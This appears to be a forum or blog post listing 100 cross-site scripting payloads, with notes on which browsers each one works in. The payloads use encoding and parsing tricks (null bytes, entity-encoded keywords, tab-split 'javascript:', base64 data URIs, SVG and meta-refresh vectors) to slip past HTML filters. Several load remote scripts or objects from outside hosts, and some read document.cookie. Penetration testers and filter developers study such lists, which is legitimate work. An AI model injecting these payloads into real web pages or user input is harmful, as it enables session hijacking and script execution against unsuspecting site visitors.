Below you will find 100 XSS vectors including 50 new XSS attack vectors.  All vectors works like charm in Chrome :-)  I have also specified browser name alongside in case of some vectors that do not work in Chrome.   1) <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>  2) <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'  3) <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"  4) <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}  5) <img/src=`%00` onerror=this.onerror=confirm(1)  6) <form><isindex formaction="javascript&colon;confirm(1)"  7) <img src=`%00`&NewLine; onerror=alert(1)&NewLine;  8) <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>  9) <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?  10) <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">  11) <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/  12) &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00  13) <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">  14) <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>  15) <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script  16) <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}  17) <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">  18) <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>  19) <form><a href="javascript:\u0061lert&#x28;1&#x29;">X  20) </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>  21) <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>  22) <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>  23) <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a  24) http://www.google<script .com>alert(document.location)</script  25) <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a  26) <img/src=@&#32;&#13; onerror = prompt('&#49;')  27) <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;  28) <script ^__^>alert(String.fromCharCode(49))</script ^__^  29) </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(  30) &#00;</form><input type&#61;"date" onfocus="alert(1)">  31) <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>  32) <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/  33) <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>  34) <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>  35) <script ~~~>alert(0%0)</script ~~~>  36) <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>  37) <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN  38) <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)  39) &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'  40) &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}  41) <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^  42) <div/style="width:expression(confirm(1))">X</div> {IE7}  43) <iframe/%00/ src=javaSCRIPT&colon;alert(1)  44) //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//  45) /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>  46) //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\  47) </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>  48) <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">  49) </plaintext\></|\><plaintext/onmouseover=prompt(1)  50) </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}   I have already tweeted about the following 50 XSS vectors and so far the paste has more than 1600 hits (http://pastebin.com/mQDbu7Sm) __________________________________________________________________________________________________________________________________________________________________________________________________________________   51) <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>  52) <div onmouseover='alert&lpar;1&rpar;'>DIV</div>  53) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">  54) <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>  55) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">  56) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">  57) <var onmouseover="prompt(1)">On Mouse Over</var>  58) <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>  59) <img src="/" =_=" title="onerror='prompt(1)'">  60) <%<!--'%><script>alert(1);</script -->  61) <script src="data:text/javascript,alert(1)"></script>  62) <iframe/src \/\/onload = prompt(1)  63) <iframe/onreadystatechange=alert(1)  64) <svg/onload=alert(1)  65) <input value=<><iframe/src=javascript:confirm(1)  66) <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>  67) http://www.<script>alert(1)</script .com  68) <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>  69) <svg><script ?>alert(1)  70) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>  71) <img src=`xx:xx`onerror=alert(1)>  72) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>  73) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>  74) <math><a xlink:href="//jsfiddle.net/t846h/">click  75) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>  76) <svg contentScriptType=text/vbs><script>MsgBox+1  77) <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a  78) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>  79) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+  80) <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F  81) <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script  82) ject data=javascript&colon;\u0061&#x6C;&#101%72t(1)><ob  83) <script>+-+-1-+-+alert(1)</script>  84) <body/onload=&lt;!--&gt;&#10alert(1)>  85) <script itworksinallbrowsers>/*<script* */alert(1)</script  86) <img src ?itworksonchrome?\/onerror = alert(1)  87) <svg><script>//&NewLine;confirm(1);</script </svg>  88) <svg><script onlypossibleinopera:-)> alert(1)  89) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe  90) <script x> alert(1) </script 1=2  91) <div/onmouseover='alert(1)'> style="x:">  92) <--`<img/src=` onerror=alert(1)> --!>  93) <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>  94) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>  95) "><img src=x onerror=window.open('https://www.google.com/');>  96) <form><button formaction=javascript&colon;alert(1)>CLICKME  97) <math><a xlink:href="//jsfiddle.net/t846h/">click  98) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>  99) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>  100) <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>